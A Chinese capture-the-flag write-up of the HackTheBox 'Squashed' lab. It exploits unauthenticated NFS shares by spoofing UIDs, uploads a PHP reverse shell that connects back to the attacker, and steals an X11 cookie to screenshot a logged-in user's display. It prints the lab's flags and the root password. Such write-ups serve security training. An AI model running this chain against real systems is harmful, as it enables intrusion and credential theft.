HTB:Squashed[WriteUP]

news2024/12/25 22:21:35

目录

连接至HTB服务器并启动靶机

使用rustscan对靶机TCP端口进行开放扫描

使用nmap对靶机开放端口进行脚本、服务扫描

使用浏览器访问靶机80端口页面

使用showmount列出靶机上的NFS共享

新建一个test用户

使用Kali自带的PHP_REVERSE_SHELL并复制到一号挂载点

尝试使用curl直接访问该文件以获取反弹shell

USER_FLAG:e9fe2fd732daac4d51f58de5739109ee

特权提升

ROOT_FLAG:94844ffb8c66ad08cff2878a24f9b393


连接至HTB服务器并启动靶机

靶机IP:10.10.11.191

分配IP:10.10.16.7


使用rustscan对靶机TCP端口进行开放扫描

靶机开放端口:22,80,111,2049,35435,37449,37537,38139

使用nmap对靶机开放端口进行脚本、服务扫描

nmap -p22,80,111,2049,35435,37449,37537,38139 -sCV 10.10.11.191


使用浏览器访问靶机80端口页面

经过ffuf、dirbuster大量的路径扫描,我几乎可以断定这是个纯静态的Web

尝试从其他端口下手,我注意到2049端口托管的NFS服务经过百度知道它是无需认证的

使用showmount列出靶机上的NFS共享

showmount -e 10.10.11.191

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross    *
/var/www/html *

本机进入/mnt目录下并新建两个目录

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cd /mnt                   
                                                                                                                            
┌──(root㉿kali)-[/mnt]
└─# mkdir 1 2
                                                                                                                            
┌──(root㉿kali)-[/mnt]
└─# ls
1  2

将靶机上的两个共享分别挂载到本地

mount -t nfs 10.10.11.191:/var/www/html /mnt/1
mount -t nfs 10.10.11.191:/home/ross /mnt/2

┌──(root㉿kali)-[/mnt]
└─# mount -t nfs 10.10.11.191:/var/www/html /mnt/1
                                                                                                                            
┌──(root㉿kali)-[/mnt]
└─# mount -t nfs 10.10.11.191:/home/ross /mnt/2

查看一号挂载点权限

ls -al 1

┌──(root㉿kali)-[/mnt]
└─# ls -al 1   
ls: 无法访问 '1/.': 权限不够
ls: 无法访问 '1/..': 权限不够
ls: 无法访问 '1/.htaccess': 权限不够
ls: 无法访问 '1/index.html': 权限不够
ls: 无法访问 '1/images': 权限不够
ls: 无法访问 '1/css': 权限不够
ls: 无法访问 '1/js': 权限不够
总计 0
d????????? ? ? ? ?              ? .
d????????? ? ? ? ?              ? ..
?????????? ? ? ? ?              ? css
?????????? ? ? ? ?              ? .htaccess
?????????? ? ? ? ?              ? images
?????????? ? ? ? ?              ? index.html
?????????? ? ? ? ?              ? js

查看二号挂载点权限

ls -al 2

查看一号挂载点所属用户ID与组

ls -ld 1

┌──(root㉿kali)-[/mnt]
└─# ls -ld 1
drwxr-xr-- 5 2017 www-data 4096 11月15日 03:20 1

查看二号挂载点所属用户ID与组

ls -ld 2

┌──(root㉿kali)-[/mnt]
└─# ls -ld 2
drwxr-xr-x 14 1001 1001 4096 11月14日 19:30 2

因为NFS完全没有任何身份验证过程,所以我们直接伪造一个ID为2017的用户即可通行一号挂载点

新建一个test用户

useradd test

将test用户ID修改为2017

usermod -u 2017 test

将test用户组ID修改为2017

groupmod -g 2017 test

查看/etc/passwd看用户是否成功添加

cat /etc/passwd

切换到test用户并查看挂载点1文件权限分配情况

su test

┌──(root㉿kali)-[/mnt]
└─# su test              
$ whoami
test

ls -al /mnt/1

$ ls
1  2
$ ls -al /mnt/1
总计 56
drwxr-xr-- 5 test www-data  4096 11月15日 03:35 .
drwxr-xr-x 4 root root      4096 11月15日 03:16 ..
drwxr-xr-x 2 test www-data  4096 11月15日 03:35 css
-rw-r--r-- 1 test www-data    44 2022年10月21日 .htaccess
drwxr-xr-x 2 test www-data  4096 11月15日 03:35 images
-rw-r----- 1 test www-data 32532 11月15日 03:35 index.html
drwxr-xr-x 2 test www-data  4096 11月15日 03:35 js


使用Kali自带的PHP_REVERSE_SHELL并复制到一号挂载点

$ ls /tmp
php-reverse-shell.php(我这里提前将Webshell拷贝到了/tmp目录下)
snap-private-tmp
systemd-private-1ae1219c28e04757bc3654c13141c455-haveged.service-bngsxp
systemd-private-1ae1219c28e04757bc3654c13141c455-ModemManager.service-kCmvAH
systemd-private-1ae1219c28e04757bc3654c13141c455-polkit.service-YiWHD2
systemd-private-1ae1219c28e04757bc3654c13141c455-systemd-logind.service-NRolyk
VMwareDnD
vmware-root_692-2696942994

$ cp /tmp/php-reverse-shell.php .
$ ls
css  images  index.html  js  php-reverse-shell.php
$ pwd
/mnt/1

本地侧nc开始监听

nc -lvp 1425

尝试使用curl直接访问该文件以获取反弹shell

curl http://10.10.11.191/php-reverse-shell.php

本地侧nc收到回显

┌──(root㉿kali)-[/tmp]
└─# nc -lvp 1425                                          
listening on [any] 1425 ...
10.10.11.191: inverse host lookup failed: Unknown host
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.191] 51582
Linux squashed.htb 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 08:39:47 up  8:09,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     :0               00:30    8:09m 23.58s  0.01s /usr/libexec/gnome-session-binary --systemd --session=gnome
uid=2017(alex) gid=2017(alex) groups=2017(alex)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
alex

查找user_flag并查看其内容

$ find / -name 'user.txt' 2>/dev/null
/home/alex/user.txt
$ cat /home/alex/user.txt
e9fe2fd732daac4d51f58de5739109ee

USER_FLAG:e9fe2fd732daac4d51f58de5739109ee


特权提升

提升TTY

python3 -c 'import pty;pty.spawn("/bin/bash")'

查看/etc/exports文件内容

cat /etc/exports

这里显示/home/ross所有用户可访问,我尝试直接用当前用户读取相关文件却提示权限不足

cd /home/ross

alex@squashed:/$ cd /home/ross
cd /home/ross
alex@squashed:/home/ross$ ls
ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos

列出所有文件及其权限

ls -al

这里的Xauthority是X协议认证相关文件

alex@squashed:/home/ross$ ls -al
ls -al
total 68
drwxr-xr-x 14 ross ross 4096 Nov 15 00:30 .
drwxr-xr-x  4 root root 4096 Oct 21  2022 ..
-rw-------  1 ross ross   57 Nov 15 00:30 .Xauthority
lrwxrwxrwx  1 root root    9 Oct 20  2022 .bash_history -> /dev/null
drwx------ 11 ross ross 4096 Oct 21  2022 .cache
drwx------ 12 ross ross 4096 Oct 21  2022 .config
drwx------  3 ross ross 4096 Oct 21  2022 .gnupg
drwx------  3 ross ross 4096 Oct 21  2022 .local
lrwxrwxrwx  1 root root    9 Oct 21  2022 .viminfo -> /dev/null
-rw-------  1 ross ross 2475 Nov 15 00:30 .xsession-errors
-rw-------  1 ross ross 2475 Dec 27  2022 .xsession-errors.old
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Desktop
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Documents
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Downloads
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Music
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Pictures
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Public
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Templates
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Videos
alex@squashed:/home/ross$ cat .Xauthority
cat .Xauthority
cat: .Xauthority: Permission denied

如法炮制弄一个test2用户,将UID、GID设置成1001

┌──(root㉿kali)-[/mnt/1]
└─# useradd test2  
                                                                                                                            
┌──(root㉿kali)-[/mnt/1]
└─# usermod -u 1001 test2
                                                                                                                            
┌──(root㉿kali)-[/mnt/1]
└─# groupmod -g 1001 test2

切换到test2用户,并访问二号挂载点

su test2 && cd /mnt/2

$ ls -al
总计 68
drwxr-xr-x 14 test2 test2 4096 11月14日 19:30 .
drwxr-xr-x  4 root  root  4096 11月15日 03:16 ..
lrwxrwxrwx  1 root  root     9 2022年10月20日 .bash_history -> /dev/null
drwx------ 11 test2 test2 4096 2022年10月21日 .cache
drwx------ 12 test2 test2 4096 2022年10月21日 .config
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Desktop
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Documents
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Downloads
drwx------  3 test2 test2 4096 2022年10月21日 .gnupg
drwx------  3 test2 test2 4096 2022年10月21日 .local
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Music
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Pictures
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Public
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Templates
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Videos
lrwxrwxrwx  1 root  root     9 2022年10月21日 .viminfo -> /dev/null
-rw-------  1 test2 test2   57 11月14日 19:30 .Xauthority
-rw-------  1 test2 test2 2475 11月14日 19:30 .xsession-errors
-rw-------  1 test2 test2 2475 2022年12月27日 .xsession-errors.old

尝试直接用cat读取.Xauthority文件内容会出现乱码,将其进行一次BASE64编码

$ cat .Xauthority

squashed.htb0MIT-MAGIC-COOKIE-1�e��~b�K��>���$
$ cat .Xauthority | base64
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDcZejrBX5ixku3F/k+iZz2

AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDcZejrBX5ixku3F/k+iZz2

将该文件还原到靶机/tmp目录下

cd /tmp && echo 'AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDcZejrBX5ixku3F/k+iZz2' | base64 -d > .Xauthorit

alex@squashed:/tmp$ ls -al
ls -al
total 12
drwxrwxrwt  2 root root 4096 Nov 15 12:56 .
drwxr-xr-x 20 root root 4096 Oct 21  2022 ..
-rw-rw-rw-  1 alex alex   57 Nov 15 12:56 .Xauthorit

首先读取靶机系统内XAUTHORITY环境变量配置

echo $XAUTHORITY

alex@squashed:/tmp$ echo $XAUTHORITY
echo $XAUTHORITY

发现毛都没写,那我们直接往里写入.Xauthorit文件路径即可

realpath .Xauthorit

alex@squashed:/tmp$ ls -al
ls -al
total 12
drwxrwxrwt  2 root root 4096 Nov 15 12:56 .
drwxr-xr-x 20 root root 4096 Oct 21  2022 ..
-rw-rw-rw-  1 alex alex   57 Nov 15 12:56 .Xauthorit
alex@squashed:/tmp$ realpath .Xauthorit
realpath .Xauthorit
/tmp/.Xauthorit

于此同时,执行w命令可见当前系统中ross用户登陆中并且使用的是0号显示器

w

通过临时地将.Xauthority添加到XAUTHORITY环境变量中并截取ross用户屏幕

(感觉这题纯属抖机灵,谁没事屏幕上一直放着root密码?)

XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/res.xwd

alex@squashed:/tmp$ XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/res.xwd
<wd -root -screen -silent -display :0 > /tmp/res.xwd
alex@squashed:/tmp$ ls -al
ls -al
total 1892
drwxrwxrwt  2 root root    4096 Nov 15 13:20 .
drwxr-xr-x 20 root root    4096 Oct 21  2022 ..
-rw-rw-rw-  1 alex alex      57 Nov 15 13:19 .Xauthority
-rw-rw-rw-  1 alex alex 1923179 Nov 15 13:20 res.xwd

靶机中通过python3开启一个http服务

python3 -m http.server 6666

攻击机将res.xwd文件下载到本地

wget http://10.10.11.191:6666/res.xwd -O res.xwd

将res.xwd格式转换为png

convert res.xwd res.png

直接打开该png文件获得密码:cah$mei7rai9A


我尝试使用上述密码登录到:root、ross用户均失败了不知什么原因

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sshpass -p 'cah$mei7rai9A' ssh root@10.10.11.191   
Permission denied, please try again.
                                                                                                                                
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sshpass -p 'cah$mei7rai9A' ssh ross@10.10.11.191
Permission denied, please try again.

直接在靶机alex用户中尝试切换到root用户

su root

alex@squashed:/$ su root
su root
Password: cah$mei7rai9A

root@squashed:/# whoami
whoami
root

查找root_flag位置并查看其内容

root@squashed:/# find / -name 'root.txt'
find / -name 'root.txt'
/root/root.txt
root@squashed:/# cat /root/root.txt
cat /root/root.txt
94844ffb8c66ad08cff2878a24f9b393

ROOT_FLAG:94844ffb8c66ad08cff2878a24f9b393

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2241575.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据分析-48-时间序列变点检测之在线实时数据的CPD

文章目录 1 时间序列结构1.1 变化点的定义1.2 结构变化的类型1.2.1 水平变化1.2.2 方差变化1.3 变点检测1.3.1 离线数据检测方法1.3.2 实时数据检测方法2 模拟数据2.1 模拟恒定方差数据2.2 模拟变化方差数据3 实时数据CPD3.1 SDAR学习算法3.2 Changefinder模块3.3 恒定方差CPD3…

ThriveX 博客管理系统前后端项目部署教程

前端 前端项目地址&#xff1a;https://github.com/LiuYuYang01/ThriveX-Blog 控制端项目地址&#xff1a;https://github.com/LiuYuYang01/ThriveX-Admin Vercel 首先以 Vercel 进行部署&#xff0c;两种方式部署都是一样的&#xff0c;我们以前端项目进行演示 首先我们先…

Seata源码笔记(三)

Seata源码笔记&#xff08;三&#xff09; RPC部分基础接口AbstractNettyRemotinginit方法send方法&#xff08;仅看sendSync&#xff09;sendSync中的钩子 AbstractNettyRemotingClient 基于incubator-seata-2.x RPC部分 基础接口 AbstractNettyRemoting init方法 主要设置…

Verilog HDL学习笔记

Verilog HDL&#xff08;Hardware Description Language&#xff09;是在一种硬件描述语言&#xff0c;类似于计算机的高级编程设计语言&#xff0c;它具有灵活性高&#xff0c;容易学习和使用等特点&#xff0c;同时Verilog能够通过文本的形式来描述数字系统的硬件结构和功能。…

java-Day07 包装类 异常+自定义异常

包装类 包装类:将基本数据类型包装成引用数据类型 int-Integer char-Character double-Double 其余都大写 包装类好处 1.包装类的存在弥补了基本数据类型的不足。在集合类中&#xff0c;无法将int 、double等类型放进去&#xff0c;因为集合的容器要求元素是Object类型。…

10款高效音频剪辑工具,让声音编辑更上一层楼。

音频剪辑在音频&#xff0c;视频&#xff0c;广告制作&#xff0c;游戏开发&#xff0c;广播等领域中都有广泛的应用。通过音频剪辑&#xff0c;创作者可以通将不同的音频片段进行剪切、拼接、混音等操作&#xff0c;创作出风格各异的音乐作品。如果你也正在为音频创作而努力的…

释放高级功能:Nexusflows Athene-V2-Agent在工具使用和代理用例方面超越 GPT-4o

在不断发展的人工智能领域&#xff0c;Nexusflows 推出了 Athene-V2-Agent 作为其模型系列的强大补充。这种专门的代理模型设计用于在功能调用和代理应用中发挥出色作用&#xff0c;突破了人工智能所能达到的极限。 竞争优势 Athene-V2-Agent 不仅仅是另一种人工智能模型&…

SRP 实现 Cook-Torrance BRDF

写的很乱&#xff01; BRDF&#xff08;Bidirectional Reflectance Distribution Function&#xff09;全称双向反射分布函数。辐射量单位非常多&#xff0c;这里为方便直观理解&#xff0c;会用非常不严谨的光照强度来解释说明。 BRDF光照模型&#xff0c;上反射率公式&#…

SDF,一个从1978年运行至今的公共Unix Shell

关于SDF 最近发现了一个很古老的公共Unix Shell服务器&#xff0c;这个项目从1978年运行至今&#xff0c;如果对操作系统&#xff0c;对Unix感兴趣&#xff0c;可以进去玩一玩体验一下 SDF Public Access UNIX System - Free Shell Account and Shell Access 注册方式 我一…

机器学习基础02_特征工程

目录 一、概念 二、API 三、DictVectorize字典列表特征提取 四、CountVectorize文本特征提取 五、TF-IDF文本1特征词的重要程度特征提取 六、无量纲化预处理 1、MinMaxScaler 归一化 2、StandardScaler 标准化 七、特征降维 1、特征选择 VarianceThreshold 底方差…

[前端面试]javascript

js数据类型 简单数据类型 null undefined string number boolean bigint 任意精度的大整数 symbol 创建唯一且不变的值&#xff0c;常用来表示对象属性的唯一标识 复杂数据类型 object&#xff0c;数组&#xff0c;函数,正则,日期等 区别 存储区别 简单数据类型因为其大小固定…

[DEBUG] 服务器 CORS 已经允许所有源,仍然有 304 的跨域问题

背景 今天有一台服务器到期了&#xff0c;准备把后端迁移到另一台服务器上&#xff0c;结果前端在测试的时候&#xff0c;出现了 304 的跨域问题。 调试过程中出现的问题&#xff0c;包括但不限于&#xff1a; set the request’s mode to ‘no-cors’Redirect is not allow…

深入理解接口测试:实用指南与最佳实践5.0(五)

✨博客主页&#xff1a; https://blog.csdn.net/m0_63815035?typeblog &#x1f497;《博客内容》&#xff1a;.NET、Java.测试开发、Python、Android、Go、Node、Android前端小程序等相关领域知识 &#x1f4e2;博客专栏&#xff1a; https://blog.csdn.net/m0_63815035/cat…

头歌网络安全(11.12)

头歌禁止复制解决 必须先下篡改猴&#xff01;&#xff01;&#xff01;&#xff01; 头歌复制助手 Educoder Copy Helperhttps://scriptcat.org/zh-CN/script-show-page/1860 Java生成验证码 第1关&#xff1a;使用Servlet生成验证码 任务描述 本关任务&#xff1a;使用se…

项目管理人员的自我评估与职业目标设定

在当今快速发展的商业环境中&#xff0c;项目管理人员的职业规划至关重要。它不仅涉及到个人职业发展的方向、目标和路径选择&#xff0c;还包括如何提升自身的专业技能、管理能力和行业知识。项目管理人员需要明确自己的职业目标、制定合理的职业发展计划、不断学习新知识和技…

关于 MSVCP110.dll 缺失的解决方案

背景&#xff1a;之前使用 PR&#xff08;Adobe Premiere&#xff09; 从来没有遇到过这样的问题。今天重装系统后&#xff08;window 10&#xff09;&#xff0c;想要重新安装以前的软件时&#xff0c;遇到了以下 DLL 文件缺失的错误。 解决方案&#xff1a; 可以到微软官网的…

036集——查询CAD图元属性字段信息:窗体显示(CAD—C#二次开发入门)

提取CAD图元所有属性字段&#xff0c;通过窗体显示&#xff0c;效果如下&#xff1a;&#xff08;curve改为entity&#xff09; 代码如下&#xff1a; public void 属性查询() {List<Curve> ents Z.db.SelectEntities<Curve>();if (ents is null ||ents.Cou…

反转链表

反转链表 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[5,4,3,2,1]示例 2&#xff1a; 输入&#xff1a;head [1,2] 输出&#xff1a;[2,1]示例 3&#xff1…

使用 Ansys Mechanical 中的“螺栓工具”插件导出螺栓反作用力

概括&#xff1a; 对于处理复杂组件和结构的工程师和分析师来说&#xff0c;提高在 Ansys Mechanical 中提取多个螺栓反作用力表格的效率至关重要。在有限元分析 (FEA) 中&#xff0c;准确确定螺栓上的反作用力对于评估机械连接的完整性和性能至关重要。但是&#xff0c;手动提…

《FreeRTOS任务基础知识以及任务创建相关函数》

目录 1.FreeRTOS多任务系统与传统单片机单任务系统的区别 2.FreeRTOS中的任务&#xff08;Task&#xff09;介绍 2.1 任务特性 2.2 FreeRTOS中的任务状态 2.3 FreeRTOS中的任务优先级 2.4 在任务函数中退出 2.5 任务控制块和任务堆栈 2.5.1 任务控制块 2.5.2 任务堆栈…